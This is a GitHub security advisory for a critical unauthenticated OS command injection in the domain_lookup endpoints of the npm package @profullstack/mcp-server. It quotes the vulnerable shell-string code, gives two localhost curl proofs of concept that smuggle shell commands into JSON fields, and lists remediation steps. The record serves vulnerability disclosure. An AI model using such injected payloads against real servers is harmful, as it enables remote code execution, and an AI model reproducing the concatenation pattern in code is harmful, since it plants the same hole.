{"id":"GHSA-v6wj-c83f-v46x","summary":"@profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module","details":"\u003chtml\u003e\n\u003cbody\u003e\n\u003c!--StartFragment--\u003e\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1\u003eSecurity Advisory: OS Command Injection in \u003ccode\u003eprofullstack/mcp-server\u003c/code\u003e \u003ccode\u003edomain_lookup\u003c/code\u003e Module\u003c/h1\u003e\n\nField | Value\n-- | --\nProject | profullstack/mcp-server\nRepository | https://github.com/profullstack/mcp-server\nAffected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9\nAffected Module | mcp_modules/domain_lookup\nAffected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk\nVulnerability Type | CWE-78: OS Command Injection\nCVSS 3.1 Score | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\nAuthentication Required | None\nDefault Network Exposure | Bind address 0.0.0.0, no global authentication middleware\nValidated | 2026-04-21 (initial), 2026-04-28 (re-confirmed)\n\n\n\u003chr\u003e\n\u003ch2\u003eSummary\u003c/h2\u003e\n\u003cp\u003eThe \u003ccode\u003edomain_lookup\u003c/code\u003e module assembles a shell command string by concatenating user-controlled input (\u003ccode\u003edomains\u003c/code\u003e / \u003ccode\u003ekeywords\u003c/code\u003e) and passes it to \u003ccode\u003eexecAsync()\u003c/code\u003e. Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Code\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eindex.js:27\u003c/code\u003e — server binds to \u003ccode\u003e0.0.0.0\u003c/code\u003e, no global auth middleware.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/index.js:52\u003c/code\u003e — registers \u003ccode\u003ePOST /domain-lookup/check\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/index.js:55\u003c/code\u003e — registers \u003ccode\u003ePOST /domain-lookup/bulk\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/src/service.js:19, :20\u003c/code\u003e — \u003ccode\u003ebuildTldxCommand()\u003c/code\u003e concatenates user input into the shell string.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/src/service.js:114, :115, :142\u003c/code\u003e — \u003ccode\u003eexecAsync(command)\u003c/code\u003e sink reached from both routes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2\u003eVulnerable Code\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eFile:\u003c/strong\u003e \u003ccode\u003emcp_modules/domain_lookup/src/service.js\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1 — User input concatenated directly into a shell string:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-js\"\u003ebuildTldxCommand(keywords, options = {}) {\n  let command = `tldx ${keywords.join(' ')}`;\n\n  if (options.prefixes?.length) {\n    command += ` --prefixes ${options.prefixes.join(',')}`;\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eStep 2 — That shell string is executed as-is:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-js\"\u003easync checkDomainAvailability(domains, options = {}) {\n  try {\n    const command = this.buildTldxCommand(domains, options);\n    const { stdout, stderr } = await execAsync(command);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThere is no sanitization between Step 1 and Step 2. Shell metacharacters (\u003ccode\u003e;\u003c/code\u003e, \u003ccode\u003e|\u003c/code\u003e, \u003ccode\u003e$()\u003c/code\u003e, etc.) in user input are interpreted by \u003ccode\u003e/bin/sh\u003c/code\u003e at execution time.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eProof of Concept\u003c/h2\u003e\n\u003cp\u003eTested against a local Docker build of the affected commit (\u003ccode\u003e0.0.0.0:13000-&gt;3000/tcp\u003c/code\u003e).\u003c/p\u003e\n\u003ch3\u003ePoC A — \u003ccode\u003ePOST /domain-lookup/check\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eRequest:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -X POST http://localhost:13000/domain-lookup/check \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"domains\":[\"example.com; echo final_check_poc &gt; /tmp/verify-exports/final_check.txt; #\"]}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eResponse:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eHTTP/1.1 500 Internal Server Error\naccess-control-allow-origin: *\ncontent-type: application/json\nDate: Tue, 21 Apr 2026 04:32:39 GMT\n\n{\"error\":\"tldx command failed: tldx command failed: /bin/sh: tldx: not found\\n\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eSide effect confirmed inside container:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ cat /tmp/verify-exports/final_check.txt\nfinal_check_poc\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003ePoC B — \u003ccode\u003ePOST /domain-lookup/bulk\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eRequest:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -X POST http://localhost:13000/domain-lookup/bulk \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"keywords\":[\"safe\",\"x; echo final_bulk_poc &gt; /tmp/verify-exports/final_bulk.txt; #\"]}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eResponse:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eHTTP/1.1 500 Internal Server Error\naccess-control-allow-origin: *\ncontent-type: application/json\nDate: Tue, 21 Apr 2026 04:32:40 GMT\n\n{\"error\":\"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\\n\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eSide effect confirmed inside container:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ cat /tmp/verify-exports/final_bulk.txt\nfinal_bulk_poc\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eNote on HTTP 500\u003c/h3\u003e\n\u003cp\u003eBoth requests return HTTP 500 because \u003ccode\u003etldx\u003c/code\u003e is not installed in the test container. The injected commands are interpreted by the shell \u003cstrong\u003ebefore\u003c/strong\u003e \u003ccode\u003etldx\u003c/code\u003e is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where \u003ccode\u003etldx\u003c/code\u003e is installed, both the intended function and the injected commands execute.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eImpact\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUnauthenticated remote code execution as the server process UID.\u003c/li\u003e\n\u003cli\u003eFull read/write access to any file the server process can access.\u003c/li\u003e\n\u003cli\u003ePotential for outbound connections, credential theft, persistence, and lateral movement.\u003c/li\u003e\n\u003cli\u003eReproducible with a single unauthenticated HTTP POST to either of two documented endpoints.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2\u003eSuggested Remediation\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eReplace \u003ccode\u003eexecAsync(command)\u003c/code\u003e with \u003ccode\u003echild_process.execFile\u003c/code\u003e or \u003ccode\u003espawn('tldx', [keyword1, keyword2, ...])\u003c/code\u003e — pass arguments as an array, never as a concatenated shell string.\u003c/li\u003e\n\u003cli\u003eValidate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.\u003c/li\u003e\n\u003cli\u003eAdd a global authentication middleware so all HTTP-exposed modules are not callable anonymously.\u003c/li\u003e\n\u003cli\u003eDefault the server bind address to \u003ccode\u003e127.0.0.1\u003c/code\u003e and require explicit opt-in for non-loopback bindings.\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch2\u003eVerification Environment\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eLocal Docker container only; no third-party deployment was tested.\u003c/li\u003e\n\u003cli\u003eThe container does not include the \u003ccode\u003etldx\u003c/code\u003e binary; this is intentional for safe local PoC and does not affect exploitability.\u003c/li\u003e\n\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e\u003c!--EndFragment--\u003e\n\u003c/body\u003e\n\u003c/html\u003e","modified":"2026-05-09T00:49:08.290385Z","published":"2026-05-09T00:42:12Z","database_specific":{"github_reviewed_at":"2026-05-09T00:42:12Z","nvd_published_at":null,"cwe_ids":["CWE-78"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/profullstack/mcp-server/security/advisories/GHSA-v6wj-c83f-v46x"},{"type":"PACKAGE","url":"https://github.com/profullstack/mcp-server"}],"affected":[{"package":{"name":"@profullstack/mcp-server","ecosystem":"npm","purl":"pkg:npm/%40profullstack/mcp-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.4.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-v6wj-c83f-v46x/GHSA-v6wj-c83f-v46x.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}